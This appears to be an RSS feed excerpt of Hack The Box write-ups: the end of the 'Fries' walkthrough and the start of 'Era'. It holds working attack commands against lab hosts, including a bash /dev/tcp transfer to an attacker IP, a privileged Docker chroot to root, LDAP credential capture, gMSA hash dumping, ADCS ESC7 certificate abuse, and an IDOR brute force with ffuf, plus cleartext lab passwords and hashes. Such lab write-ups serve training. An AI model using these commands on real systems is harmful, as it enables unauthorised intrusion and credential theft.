&lt;p&gt;Instead I looked on &lt;a href=&quot;https://gtfobins.github.io/gtfobins/bash/&quot;&gt;GTFObins&lt;/a&gt; for some &lt;strong&gt;Living Off The Land (LOTL)&lt;/strong&gt; commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cadd13ea548386091749ac94510b11ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used it to transfer various files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export RHOST=10.10.14.126
export RPORT=8000
export LFILE=&amp;lt;FILENAME HERE&amp;gt;
bash -c &apos;{ echo -ne &quot;GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n&quot; 1&amp;gt;&amp;amp;3; cat 0&amp;lt;&amp;amp;3; } \
    3&amp;lt;&amp;gt;/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ &quot;$REPLY&quot; = &quot;$(echo -ne &quot;\r&quot;)&quot; ] &amp;amp;&amp;amp; break; done; cat; } &amp;gt; $LFILE&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef183a42283c5d8ddcc92ae6b7e67ce8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;h3&gt;linpeas&lt;/h3&gt;
&lt;p&gt;I ran &lt;code&gt;linpeas&lt;/code&gt; in order to enumerate the environment and find out what I could do here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a99df4576e7dd6432ad31b4457560546.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some findings included:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3f02283ccccb7e46876e312332bbc1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately other than that I didn&apos;t find anything useful so instead booted up &lt;code&gt;ligolo&lt;/code&gt; in order to scan the network.&lt;/p&gt;
&lt;h1&gt;Linux Foothold&lt;/h1&gt;
&lt;h2&gt;CVE-2025-2945&lt;/h2&gt;
&lt;p&gt;I started looking further and realized I landed inside a &lt;em&gt;rabbithole&lt;/em&gt;. Instead I searched up the version of the &lt;code&gt;pgadmin&lt;/code&gt; instance and found a CVE for it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/477bf4518c8a65aa70a3775295466b09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But the above PoC didnt work since it didn&apos;t work with kerberos auth. Instead I used the &lt;code&gt;metasploit&lt;/code&gt; module it&apos;s based upon:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39a109cdeaaa2eba2b4d5101a89c82b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I put down the following options I was able to run it successfully:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2073670b00fa9da3db708deaebadf801.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0c40b540ffa8b3c04c57590b05e01ee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started enumerating the directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/791741f6ad5bf6c8cd22ade35784c600.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here I enumerated the &lt;code&gt;env&lt;/code&gt; variables where I found a cleartext password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f4956f4ee7996e336f2dffba482d7d1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Friesf00Ds2025!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up I tried spraying this password against found users until I found one that matched:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/057666a6311a1b2713a5cc5f72b68185.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSH Access&lt;/h2&gt;
&lt;p&gt;Using these creds I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3e3882e4ef6853c6a37bd533709d2d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Mounting NFS Share&lt;/h3&gt;
&lt;p&gt;I used &lt;code&gt;ligolo&lt;/code&gt; to port forward so I could access the &lt;code&gt;nfs&lt;/code&gt; service:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33bd1b7799e8522d15da5aa1de7cf554.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I had the port forward set up I created the drive I would mount the share&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir ./mount
sudo mount -t nfs -o ro,soft,timeo=10 240.0.0.1:/srv/web.fries.htb/certs ./mount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/13c5ab0834f9ece290b9d61e55fe171d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d414fba4ddd5c74e5b83d6f9682012bb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could still not access the mount though becaues I did not have the proper GUID:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b20bb4836dee5b30ecbeba272072735d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to get access I had to create a &quot;dummy&quot; account with this GUID.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo useradd tester
sudo nano /etc/passwd

# Add the following GUID
tester:x:1001:59605603::/home/tester:/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/971f1ed1fb5a0f1a147fe457ea20f50a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we should be able to access the mounted share.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -u tester cp -r mount /tmp/mount
sudo chown kali /tmp/mount
sudo chown kali /tmp/mount/*
sudo umount ./mount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fbfa52ab7fc6c9b670983d50e116d9a8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01a09fdc3527203df54962aebfb1df00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Crafting certificate&lt;/h3&gt;
&lt;p&gt;For the following steps I&apos;ll craft a certificate where &lt;code&gt;CN=root&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; root.cnf
[ req ]
distinguished_name = req_distinguished_name
prompt = no

[ req_distinguished_name ]
CN = root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next I will cuse the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl genrsa -out key.pem 2048
openssl req -new -key key.pem -out root.csr -config root.cnf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d7ff9f48ca2542b36011730591ba8ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we create the &lt;code&gt;cert.pem&lt;/code&gt; certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -req -in root.csr \
  -CA ca.pem -CAkey ca-key.pem -CAcreateserial \
  -out cert.pem -days 365 -sha256
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker&lt;/h3&gt;
&lt;p&gt;We will now have to use the following commands to spin up the docker container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker context create fries \
  --docker host=tcp://240.0.0.1:2376 \ 
  --docker ca=/home/kali/Fries/ca.pem \
  --docker cert=/home/kali/Fries/cert.pem \
  --docker key=/home/kali/Fries/key.pem \
  --docker skip-tls-verify=true
  
  
docker context use fries
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c71f9e7fb1b7c48048fa421ddf2e3d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can check it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c828650696f33e59b4285b5a40a298b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks good!&lt;/p&gt;
&lt;h1&gt;Linux Privilege Escalation&lt;/h1&gt;
&lt;p&gt;We can simply use the following command to to give ourselves a &lt;em&gt;root&lt;/em&gt; shell on the system:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -it --rm --privileged --net=host --pid=host -v /:/mnt 616e340baeac bash -c &quot;chroot /mnt /bin/bash || chroot /mnt /bin/sh&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e9944ddb45cbd53929591c810ac1bf0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;Finally we&apos;re able to grab the &lt;code&gt;user.txt&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b5bc0affdd96b6763fbe46390a5ea1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Post-Exploitation&lt;/h2&gt;
&lt;h3&gt;PWM Config&lt;/h3&gt;
&lt;p&gt;During post-exploitation I stumbled on this hash which I then cracked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ddafdd654bf9b6670196f0084e60dbf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b1f855eb72b9ef11a7c72c2e24896a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rockon!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This password can then be used to access the &lt;code&gt;pwm&lt;/code&gt; Configuration Manager:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60514627a34fc5302b1fbb82f2718189.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a9290ef9d6b2ee1711fe6ec5af403ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I clicked on &lt;strong&gt;Download Configuration&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e229ce1066e2d96ddc6bb2ad93efe0c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was the same exact config however. Instead I headed over to the &lt;strong&gt;Configuration Editor&lt;/strong&gt; where I headed over to &lt;strong&gt;LDAP&lt;/strong&gt; -&amp;gt; &lt;strong&gt;LDAP Directories&lt;/strong&gt; -&amp;gt; &lt;strong&gt;default&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Connection&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a0eb105859834aecc356f1a55c4d960.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I changed the &lt;strong&gt;LDAP URLs&lt;/strong&gt; to my own URL:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1590bdd4f9cdeb998fb648fe811b980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And clicked &lt;strong&gt;Test LDAP Profile&lt;/strong&gt;. I then captured the cleartext password using &lt;code&gt;responder&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea5807842a9589b544feb28d3b27e3d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_infra
m6tneOMAh5p0wQ0d
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;DC01 Enumeration&lt;/h1&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;Now that I had a valid set of creds I checked their validity via NTLM logon:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3462f3ef3a93522f0e27261445140dbd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This meant I didn&apos;t need &lt;code&gt;kerberos&lt;/code&gt; login, let&apos;s use &lt;code&gt;bloodhound&lt;/code&gt; to enumerate the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41ba7e3476e8a3df696ea6409b5ee3f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started up &lt;code&gt;bloodhound&lt;/code&gt; and went to work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e0e7116f4d80528ca5e2577df936284.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ReadGMSAPassword&lt;/h3&gt;
&lt;p&gt;Here I noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61f297fa737975203dd94e7ce9e6612e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is pretty straightforward to exploit using &lt;code&gt;nxc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap fries.htb -u usernames.txt -p passwords.txt --gmsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d09018725fdb015bcc2fe9c84425c24a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we get the NTLM hash for &lt;em&gt;gMSA_CA_prod$&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fc20b3d3ec179c5339ca59fbefc18f4a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I checked the account information where I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3047996bfe96826c6048da7aa01d2bb2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;DC01 Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC7&lt;/h2&gt;
&lt;p&gt;I requested a TGT for the found user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;fries.htb/gMSA_CA_prod$&apos; -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip 10.10.11.96
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ee94a31f46c3d5bf8faf9b2982d27ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used &lt;code&gt;certipy-ad&lt;/code&gt; to enumerate the ADCS vulnerabilities:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -k -dc-ip 10.10.11.96 -target DC01.fries.htb -stdout -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7b27a2575739311a9664ee27ae4500d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the target is vulnerable to &lt;strong&gt;ESC7&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;First of all we&apos;ll have to modify the &lt;code&gt;/etc/krb5.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f90f523af43db8636eaed6b59658c30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6aeaa356337910910a060d8525f6ea86.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To exploit this we can use the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad ca \
  -ca fries-DC01-CA \
  -add-officer &apos;gMSA_CA_prod$&apos; \
  -dc-ip 10.10.11.96 \
  -dc-host DC01.fries.htb \
  -target DC01.fries.htb \
  -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e917acb5f5b0818799a986aa5b9c620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
However this is where I ended up in some trouble, for whatever reason &lt;code&gt;certipy-ad&lt;/code&gt; didn&apos;t give me the full picture.
Instead I used &lt;code&gt;evil-winrm-py&lt;/code&gt; to login with the kerberos ticket.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125084217.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After logging in I transferred over &lt;code&gt;certify.exe&lt;/code&gt; and reran my enumeration steps.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125084309.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the tool to enumerate everything:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\Certify.exe enum-cas --filter-vulnerable --hide-admins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125091003.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I starting looking through the output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125091116.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And down at the bottom we notice the enabled certificates:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125091333.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I issued the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./Certify.exe manage-ca --officer S-1-5-21-858338346-3861030516-3975240472-1104 --ca FRIES.HTB\fries-DC01-CA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125103808.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And followed it up with adding the group which had the &lt;code&gt;Deny&lt;/code&gt; set on &lt;code&gt;ManageCertificates&lt;/code&gt; so I could overwrite it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --officer &apos;S-1-5-21-858338346-3861030516-3975240472-515&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125104021.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Request Issue - FAIL&lt;/h4&gt;
&lt;p&gt;Now I could issue a request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;gmsa_ca_prod$&apos; -hashes fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip 10.10.11.96 -dc-host dc01.fries.htb -target dc01.fries.htb -ca fries-DC01-CA -template subca -upn &apos;administrator@fries.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125120450.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This fails but we still need save the private key. Next up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad -debug ca -ca fries-DC01-CA -dc-ip 10.10.11.96 -u &apos;gMSA_CA_prod$@fries.htb&apos; -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -k -target dc01.fries.htb -issue-request 42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125120542.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And lastly we retrieve it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;gMSA_CA_prod$@fries.htb&apos; -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -k -dc-ip 10.10.11.96 -dc-host dc01.fries.htb -target dc01.fries.htb -ca fries-DC01-CA -retrieve 42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125120651.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately though this is where we hit a roadblock:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125120830.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Request Issue - SUCCESS&lt;/h4&gt;
&lt;p&gt;It appears we&apos;ll need to request the certificate including the &lt;em&gt;Administrator&lt;/em&gt; SID:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121134.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This basically meant I had to redo the requests again, but this time around involving the SID:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;gmsa_ca_prod$&apos; -hashes fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip 10.10.11.96 -dc-host dc01.fries.htb -target dc01.fries.htb -ca fries-DC01-CA -template subca -upn &apos;administrator@fries.htb&apos; -sid &quot;S-1-5-21-858338346-3861030516-3975240472-500&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121411.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad -debug ca -ca fries-DC01-CA -dc-ip 10.10.11.96 -u &apos;gMSA_CA_prod$@fries.htb&apos; -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -k -target dc01.fries.htb -issue-request 43
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121508.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad -debug req -u &apos;gMSA_CA_prod$@fries.htb&apos; -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -k -dc-ip 10.10.11.96 -dc-host dc01.fries.htb -target dc01.fries.htb -ca fries-DC01-CA -retrieve 43
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121533.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time around it worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121556.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could now easily get access with the saved kerberos ticket:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121643.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;root.txt&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121735.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020251125121801.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Era</title><link>https://maxk9999.vercel.app/posts/era</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/era</guid><pubDate>Wed, 26 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.79
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -Pn -T5 -vvvv --min-rate=5000 era.htb

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.5
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
|_http-title: Era Designs
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I start off with directory enumeration and vhost fuzzing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee0cb2f09914423094ca50a57bcc0f48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the main site nothing special was found so I ran a vhost scan and found the &lt;code&gt;file&lt;/code&gt; vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/95dff92ee7f4ad2be55ffc8514d316c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I added the vhost to my &lt;code&gt;/etc/hosts&lt;/code&gt; file and checked it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2306f6f4016b9e755756ba2b5106482.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then enumerated the vhost as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c2670c456b8e779312285601a677558.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;file.era.htb&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/94793c240e9c9c476e496bc01b50403d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went over to the &lt;code&gt;/register.php&lt;/code&gt; endpoint and registered a new user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9685fe8c089b5151505bfe514a93c0c6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After signing in I got redirected to the &lt;code&gt;/manage.php&lt;/code&gt; page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a3d73845d430467a0dde7b3b1b874b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and uploaded a webshell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/287bc2782920e9962f04303af695fe66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately we can only download after uploading it but not actually access it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c20b74aee056b0ccb97a21d874e4fce0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However what I noticed was the &lt;code&gt;id&lt;/code&gt; parameter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://file.era.htb/download.php?id=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This meant I could probably try to brute force other files and or directories.&lt;/p&gt;
&lt;p&gt;I went ahead and created a list of possible id&apos;s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/423ef5a5bba1bd7cca3039e792ee86f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And used &lt;code&gt;ffuf&lt;/code&gt;to brute force it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w id.txt:FUZZ -H &quot;Cookie: PHPSESSID=lc464hh0fbipb8frebpm6otfv1&quot; -u &quot;http://file.era.htb/download.php?id=FUZZ&quot; -fs 7686
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/08fbe3be0b9025c5b2df72ec5d91a311.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the brute forced id&apos;s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe64ebfda9fea758a7e4b0ada265ebfe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once downloaded I unzipped the archive:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/776db405d51c3d6875326dfc4d67d80a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a &lt;code&gt;filedb.sqlite&lt;/code&gt; database and checked that out as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/160477bc913d53535b9e46565ba50100.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a9937a3f1db0929eef4ebc131629804.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;john&lt;/h3&gt;
&lt;p&gt;I then used &lt;code&gt;john&lt;/code&gt; to attempt to crack these hashes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8700adb1c75a17fe028bf3e33bf4138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;america
mustang
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also checked out the &lt;code&gt;download.php&lt;/code&gt; source code and saw this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/310967e169ff40ba32bf9a54be861374.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we can change the security questions for the &lt;em&gt;admin&lt;/em&gt; user so we can bypass normal security using the security questions instead via &lt;code&gt;/security_login.php&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8585cdda0de1b1cb009284657917143.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/debce0324f7a12eac923a85ff2838a0a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
